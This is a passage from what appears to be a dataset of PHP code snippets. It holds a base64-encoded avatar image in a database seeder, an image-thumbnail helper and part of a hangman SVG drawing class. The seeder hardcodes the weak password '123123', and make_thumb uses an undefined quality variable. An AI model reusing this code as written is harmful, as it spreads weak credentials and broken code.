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\nEOD;\n DB::table('users')->insert([\n\t 'name' => 'Paul Warren',\n\t 'email' => '[email protected]',\n 'password' => bcrypt('123123'),\n\t 'avatar' => $avatar,\n\t ]);\n }",
"public static function thumbnail(){\n\n}",
"function make_thumb($src,$dest) {\n try {\n // Create a new SimpleImage object\n $image = new \\claviska\\SimpleImage();\n\n // load file\n $image->fromFile($src);\n // img getMimeType\n $mime = $image->getMimeType();\n $w = $image->getWidth();\n\n // Manipulate it\n // $image->bestFit(200, 300) // proportionally resize to fit inside a 250x400 box\n // $image->flip('x') // flip horizontally\n // $image->colorize('DarkGreen') // tint dark green\n // $image->sharpen()\n // $image->border('darkgray', 1) // add a 2 pixel black border\n // $image->overlay('flag.png', 'bottom right') // add a watermark image\n // $image->toScreen(); // output to the screen\n if ($w > 1000) {\n $image->autoOrient(); // adjust orientation based on exif data\n // $image->resize($resizeWidth); // 1365\n // $image->resize(1024); // 1365\n $image->resize(800); // 1067\n }\n $image->toFile($dest,$mime,$outIMGquality);\n // echo \"mime type: \".$mime;\n } catch(Exception $err) {\n // Handle errors\n echo $err->getMessage();\n }\n}",
"public function DrawPartsOfPicture($aNumberOfParts=9) {\r\n \r\n $html = $this->GetSvgHeader();\r\n switch ($aNumberOfParts) { \r\n case 0:\r\n return;\r\n break;\r\n case 1:\r\n $html .= $this->GetKullen();\r\n break;\r\n case 2:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n break;\r\n case 3:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n break;\r\n case 4:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud();\r\n break;\r\n case 5:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n break;\r\n case 6:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= 